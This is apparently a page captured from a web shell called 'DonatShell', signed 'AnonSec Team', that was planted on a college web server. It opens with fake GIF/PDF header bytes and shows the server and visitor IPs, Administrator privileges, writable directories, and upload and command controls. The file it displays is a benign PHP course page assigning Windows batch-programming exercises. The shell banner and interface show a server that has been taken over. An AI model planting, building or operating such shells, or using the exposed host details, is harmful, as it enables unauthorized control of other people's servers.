GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/_Archive/CST1861/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/_Archive/CST1861//Lab02.php
<?
// JimMartinson/CST1861/Lab01.php

$TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n";
ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path.
$thisFile=__FILE__; $thisLine=__LINE__; include('application.phpinc');
$thisFile=__FILE__; $thisLine=__LINE__; include('Course/courseInfo.phpinc');
$thisFile=__FILE__; $thisLine=__LINE__; include('classInfo.phpinc');

$assignmentNumber = 2;
$assignmentType = "Lab";
$assignmentTitle = "Batch programs";
$evaluationType = "Lab";
$evaluationTitle = $assignmentTitle;
if (strlen($assignmentNumber) == 1) { $assignmentName = $assignmentType."0".$assignmentNumber; $evaluationName = $evaluationType."0".$assignmentNumber; } else { 
$assignmentName = $assignmentType.$assignmentNumber; $evaluationName = $evaluationType.$assignmentNumber; }
if ($evaluationTitle != '') $evaluationTitle = ' - '.$evaluationTitle;

$title = $assignmentType." ".$assignmentNumber.": ".$assignmentTitle;
$headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - '.$title;
$pageTitle = $courseNumber.' '.$courseTitle.'<br>'.$title;
$pageMenu = 'Course/courseMenu.phpinc';
$smallTitle = true;
$thisFile = __FILE__; $thisLine=__LINE__; include('common/pageHeader.phpinc');
$thisFile=__FILE__; $thisLine=__LINE__; include('Login/authenticate.phpinc');
$sectionTitle = $courseNumber.' '.$courseTitle.' - '.$title;
$thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionHeader.phpinc');

$userFullName = str_replace(" ","",$_SESSION['userFullName']);
?>
<style type="text/css">
pre {
	line-height:1.0em;
}
</style>

<p>
<fieldset><legend>Description</legend><span class="normal">
Create batch programs.
</span></fieldset>

<fieldset><legend>Lab Instruction</legend><span class="normal">
<ol>
<li><b>Write and hand in five of the following ten batch programs.</b>
<ol type="i">
  <!-- addtopath.cmd -->
	<li><b>Create addtopath.cmd.</b>
<pre class="Tcode">@echo off
<span style="color:#FF0000; background-color:#FFFF00">:: addtopath.cmd</span>
<span style="color:#FF0000; background-color:#FFFF00">:: Written by: <?=$_SESSION['userFullName']?></span>
<span style="color:#FF0000; background-color:#FFFF00">:: Written on: <?=date("Y/m/d")?></span>

setlocal enableextensions
 
<span style="color:#FF0000; background-color:#FFFF00">:: Display help when the /? parameter is passed.</span>
if NOT "%~1"=="/?" goto SkipHelp
echo Adds a new path to the Path environmetal variable.
echo.
echo Usage: %~n0 [new_path]
echo.
echo   new_path = The new_path to append to the Path.
echo              If no new path is given simply display the current path.
echo.
goto:EOF

<span style="background-color:#99FF99">:SkipHelp</span>
    </pre>
  </li>
  <!-- currentdrivefree.cmd -->
	<li><b>Write currentdrivefree.cmd.</b>
  	<pre class="Tcode">@echo off
<span style="color:#FF0000; background-color:#FFFF00">:: currentdrivefree.cmd</span>
<span style="color:#FF0000; background-color:#FFFF00">:: Written by: <?=$_SESSION['userFullName']?></span>
<span style="color:#FF0000; background-color:#FFFF00">:: Written on: <?=date("Y/m/d")?></span>

setlocal enableextensions
 
<span style="color:#FF0000; background-color:#FFFF00">:: Display help when the /? parameter is passed.</span>
if NOT "%~1"=="/?" goto SkipHelp
echo Show free space on the current drive.
echo.
echo Usage: %~n0
echo.
goto:EOF

<span style="background-color:#99FF99">:SkipHelp</span>
    </pre>
  </li>
  <!-- currentdrivetype.cmd -->
	<li><b>Write currentdrivetype.cmd.</b>
  	<pre class="Tcode">@echo off
<span style="color:#FF0000; background-color:#FFFF00">:: currentdrivetype.cmd</span>
<span style="color:#FF0000; background-color:#FFFF00">:: Written by: <?=$_SESSION['userFullName']?></span>
<span style="color:#FF0000; background-color:#FFFF00">:: Written on: <?=date("Y/m/d")?></span>

setlocal enableextensions
 
<span style="color:#FF0000; background-color:#FFFF00">:: Display help when the /? parameter is passed.</span>
if NOT "%~1"=="/?" goto SkipHelp
echo Display the drive type of the current drive.
echo.
echo Usage: %~n0
echo.
goto:EOF

<span style="background-color:#99FF99">:SkipHelp</span>

<span style="color:#FF0000; background-color:#FFFF00">::NOTES:
::The following commands may be helpful:
:: fsutil fsinfo drivetype D:</span>
    </pre>
  </li>
  <!-- currentdriveused.cmd -->
	<li><b>Write currentdriveused.cmd.</b>
  	<pre class="Tcode">@echo off
<span style="color:#FF0000; background-color:#FFFF00">:: currentdriveused.cmd</span>
<span style="color:#FF0000; background-color:#FFFF00">:: Written by: <?=$_SESSION['userFullName']?></span>
<span style="color:#FF0000; background-color:#FFFF00">:: Written on: <?=date("Y/m/d")?></span>

setlocal enableextensions
 
<span style="color:#FF0000; background-color:#FFFF00">:: Display help when the /? parameter is passed.</span>
if NOT "%~1"=="/?" goto SkipHelp
echo Show used space on current, all, or selected drive.
echo.
echo Usage: %~n0
echo.
echo       /a = Show used space for all drives.
echo   drive: = The drive to show used space for.
echo            The default is the current drive.
echo.
goto:EOF

<span style="background-color:#99FF99">:SkipHelp</span>

<span style="color:#FF0000; background-color:#FFFF00">::NOTES:
::The following command may be useful:
:: fsutil fsinfo drives</span>
    </pre>
  </li>
	<!-- myuptime.cmd -->
  <li><b>Write myuptime.cmd.</b>
  	<pre class="Tcode">@echo off
<span style="color:#FF0000; background-color:#FFFF00">:: myuptime.cmd</span>
<span style="color:#FF0000; background-color:#FFFF00">:: Written by: <?=$_SESSION['userFullName']?></span>
<span style="color:#FF0000; background-color:#FFFF00">:: Written on: <?=date("Y/m/d")?></span>

setlocal enableextensions
 
<span style="color:#FF0000; background-color:#FFFF00">:: Display help when the /? parameter is passed.</span>
if NOT "%~1"=="/?" goto SkipHelp
echo Show how long the computer has been up and running.
echo.
echo Usage: %~n0
echo.
goto:EOF

<span style="background-color:#99FF99">:SkipHelp</span>

<span style="color:#FF0000; background-color:#FFFF00">::NOTES:
::Needs <a href="ExampleFiles/srvinfo.exe">srvinfo.exe</a> from the NT4 Server Resource Kit.
::You can download srvinfo.exe from the Assignments folder.</span>
    </pre>
  </li>
	<!-- now.cmd -->
  <li><b>Write now.cmd.</b>
  	<pre class="Tcode">@echo off
<span style="color:#FF0000; background-color:#FFFF00">:: now.cmd</span>
<span style="color:#FF0000; background-color:#FFFF00">:: Written by: <?=$_SESSION['userFullName']?></span>
<span style="color:#FF0000; background-color:#FFFF00">:: Written on: <?=date("Y/m/d")?></span>

setlocal enableextensions
 
<span style="color:#FF0000; background-color:#FFFF00">:: Display help when the /? parameter is passed.</span>
if NOT "%~1"=="/?" goto SkipHelp
echo Save the current day and date to environment variables.
echo.
echo Usage: %~n0
echo.
echo Save the following day and date information to environment variables:
echo         _d = Day date (may be single digit).
echo        _dd = Two digit day date.
echo         _o = Month (may be single digit).
echo        _mo = Two digit month.
echo       _mon = Three letter month abbreviation (Jan, Feb, etc.).
echo     _month = Full name of month (January, February, etc.).
echo         _n = Weekday number (Sunday = 0).
echo         _w = Single letter weekday abbreviation (UMTWHRFS).
echo       _day = Three letter weekday abbreviation (Mon, Tue, etc.).
echo   _weekday = Full weekday name (Monday, Tuesday, etc.).
echo        _yy = Two digit year.
echo      _yyyy = Four digit year.
echo         _h = hour (may be single digit).
echo        _hh = Two digit hour.
echo         _m = minute (may be single digit).
echo        _mm = Two digit minute.
echo         _s = second (may be single digit).
echo        _ss = Two digit second.
echo        _la = a if AM, p if PM (a or p).
echo        _ua = A if AM, P if PM (A or P).
echo       _lam = am if AM, pm if PM (am or pm).
echo       _uam = AM if AM, PM if PM (AM or PM).
echo.
goto:EOF

<span style="background-color:#99FF99">:SkipHelp</span>
    </pre>
  </li>
	<!-- onpath.cmd -->
  <li><b>Write onpath.cmd.</b>
  	<pre class="Tcode">@echo off
<span style="color:#FF0000; background-color:#FFFF00">:: onpath.cmd</span>
<span style="color:#FF0000; background-color:#FFFF00">:: Written by: <?=$_SESSION['userFullName']?></span>
<span style="color:#FF0000; background-color:#FFFF00">:: Written on: <?=date("Y/m/d")?></span>

setlocal enableextensions
 
<span style="color:#FF0000; background-color:#FFFF00">:: Display help when the /? parameter is passed.</span>
if NOT "%~1"=="/?" goto SkipHelp
echo Searches the Path environmetal variable for the program.
echo.
echo Usage: %~n0 program[.ext]
echo.
echo   program = The program to search for.
echo       ext = The program extension.
echo             If no extension is given search for all program
echo             extensions in the PATHEXT environment variable.
echo.
goto:EOF

<span style="background-color:#99FF99">:SkipHelp</span>

<span style="color:#FF0000; background-color:#FFFF00">::NOTES:
::If the program is not found display an error message.</span>
    </pre>
  </li>
	<!-- strlen.cmd -->
  <li><b>Write strlen.cmd.</b>
  	<pre class="Tcode">@echo off
<span style="color:#FF0000; background-color:#FFFF00">:: strlen.cmd</span>
<span style="color:#FF0000; background-color:#FFFF00">:: Written by: <?=$_SESSION['userFullName']?></span>
<span style="color:#FF0000; background-color:#FFFF00">:: Written on: <?=date("Y/m/d")?></span>

setlocal enableextensions
 
<span style="color:#FF0000; background-color:#FFFF00">:: Display help when the /? parameter is passed.</span>
if NOT "%~1"=="/?" goto SkipHelp
echo Count the number of characters in a string.
echo.
echo Usage: %~n0 string
echo.
echo   string = The string used to count characters.
echo.
goto:EOF

<span style="background-color:#99FF99">:SkipHelp</span>

<span style="color:#FF0000; background-color:#FFFF00">::NOTES:
::See the help for the set command to see ways to parse a string.
::Look at the environment variable substitution section.</span>
    </pre>
  </li>
	<!-- vm.cmd -->
  <li><b>Write vm.cmd.</b>
  	<pre class="Tcode">@echo off
<span style="color:#FF0000; background-color:#FFFF00">:: vm.cmd</span>
<span style="color:#FF0000; background-color:#FFFF00">:: Written by: <?=$_SESSION['userFullName']?></span>
<span style="color:#FF0000; background-color:#FFFF00">:: Written on: <?=date("Y/m/d")?></span>

setlocal enableextensions
 
<span style="color:#FF0000; background-color:#FFFF00">:: Display help when the /? parameter is passed.</span>
if NOT "%~1"=="/?" goto SkipHelp
echo Start VMware services, start VMware, then stop VMware services when VMware closes.
echo.
echo Usage: %~n0
echo.
goto:EOF

<span style="background-color:#99FF99">:SkipHelp</span>
    </pre>
  </li>
	<!-- xd.cmd -->
  <li><b>Write xd.cmd.</b>
  	<pre class="Tcode">@echo off
<span style="color:#FF0000; background-color:#FFFF00">:: xd.cmd</span>
<span style="color:#FF0000; background-color:#FFFF00">:: Written by: <?=$_SESSION['userFullName']?></span>
<span style="color:#FF0000; background-color:#FFFF00">:: Written on: <?=date("Y/m/d")?></span>

setlocal enableextensions
 
<span style="color:#FF0000; background-color:#FFFF00">:: Display help when the /? parameter is passed.</span>
if NOT "%~1"=="/?" goto SkipHelp
echo Change to the drive\path.
echo If the directory does not exist make it.
echo.
echo %~n0 [drive:]path
echo.
echo   drive: = The drive to change to.
echo     path = The directory to change to.
echo            If the directory does not exist it is created.
echo.
goto:EOF

<span style="background-color:#99FF99">:SkipHelp</span>

<span style="color:#FF0000; background-color:#FFFF00">::NOTES:
::An error should be given in the path cannot be created.
::An error should be displayed if the path cannot be moved to.</span>
    </pre>
  </li>
</ol>
</li>
    	<li>Zip up your five batch files as <?=$courseNumber?>_<?=$evaluationName?>_<?=$userFullName?>.zip</li>
      <li>Send an email to <a href="mailto:jim.martinson@ridgewater.edu?subject=<?=$courseNumber?> <?=$evaluationName?> Submission">jim.martinson@ridgewater.edu</a> with a subject of <b style="white-space:nowrap"><?=$courseNumber?> <?=$evaluationName?> Submission</b> and attach the following file:
      	<br /><?=$courseNumber?>_<?=$evaluationName?>_<?=$userFullName?>.zip</li>

</ol>
</span></fieldset>

<fieldset class="pio"><legend>Grading Criteria</legend><span class="normal">
Demonstrated assignment effectively: 10 points.
<br />
There are some things I expect. If they are incorrect you will lose the following:
<br />
Incorrect attachment file name: -1 pt.
<br />
Work submitted incorrectly: -1pt.
<br />
Incorrect subject in email: -1pt.
<br />
Second and subsequent submission of work for grading: -1pt.
<br />
Work submitted late: -1pt.
</span></fieldset>

<fieldset class="pio"><legend>Objectives</legend><span class="normal">
<ol class="obj pio" start="3">
	<!-- 1 3 -->
	<li>Create a batch program that demonstrates the use of help.</li>
	<li>Create a batch program that demonstrates the use of command line extensions.</li>
	<li>Create a batch program that demonstrates the use of internal calls.</li>
	<li>Create a batch program that demonstrates the use of the call, echo, for, goto, if, set, and shift commands.</li>
	<li>Create a batch program that demonstrates the use of errorlevel.</li>
</ol>
</span></fieldset>

<?
$thisFile=__FILE__; $thisLine=__LINE__; include('ReferencesResources.phpinc');
$thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionFooter.phpinc');
$thisFile = __FILE__; $thisLine=__LINE__; include('common/pageFooter.phpinc');

?>

Anon7 - 2022
AnonSec Team